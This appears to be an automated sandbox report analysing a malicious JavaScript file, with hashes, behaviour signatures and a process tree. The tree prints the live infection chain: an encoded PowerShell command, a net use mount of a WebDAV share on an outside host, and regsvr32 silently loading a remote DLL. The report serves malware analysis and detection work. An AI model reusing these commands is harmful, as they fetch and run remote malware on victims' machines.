Analysis

  • max time kernel
    94s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-07-2024 01:14

General

  • Target

    3362cdc04291259ec3f0b436727b394e8473a538ce74bcc5b87dda5c58fe0282.js

  • Size

    10KB

  • MD5

    0e93dbccca25ff07527f50a0d4959922

  • SHA1

    6bacbd874bfe4de61427ecccc93ec695beffaa19

  • SHA256

    3362cdc04291259ec3f0b436727b394e8473a538ce74bcc5b87dda5c58fe0282

  • SHA512

    a3f1131ba826befe8d0952bc60c52ea907962056e334b2cdbecea62c03effca56e039489109915b3bca508c4501b936d1ec1442d3a8299db8382b9bffaed6f2b

  • SSDEEP

    192:8M4SuS1wcmvSsfOZnGyO5GvehIXhD9aNhfCRPR57bhUfCRFANGv03yO5GvehIXhE:8vSISYleeyXx92lIPjPKI213leeyXx9G

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3362cdc04291259ec3f0b436727b394e8473a538ce74bcc5b87dda5c58fe0282.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIANgA3ADEANwAyADMANAA4ADgAMgA0ADEANwA4AC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4840
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:1344
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\267172348824178.dll
          3⤵
            PID:5040

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l51thpvw.tz4.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4840-0-0x00007FFBFE0C3000-0x00007FFBFE0C5000-memory.dmp

        Filesize

        8KB

      • memory/4840-6-0x000001DF3A490000-0x000001DF3A4B2000-memory.dmp

        Filesize

        136KB

      • memory/4840-13-0x00007FFBFE0C0000-0x00007FFBFEB81000-memory.dmp

        Filesize

        10.8MB

      • memory/4840-14-0x00007FFBFE0C0000-0x00007FFBFEB81000-memory.dmp

        Filesize

        10.8MB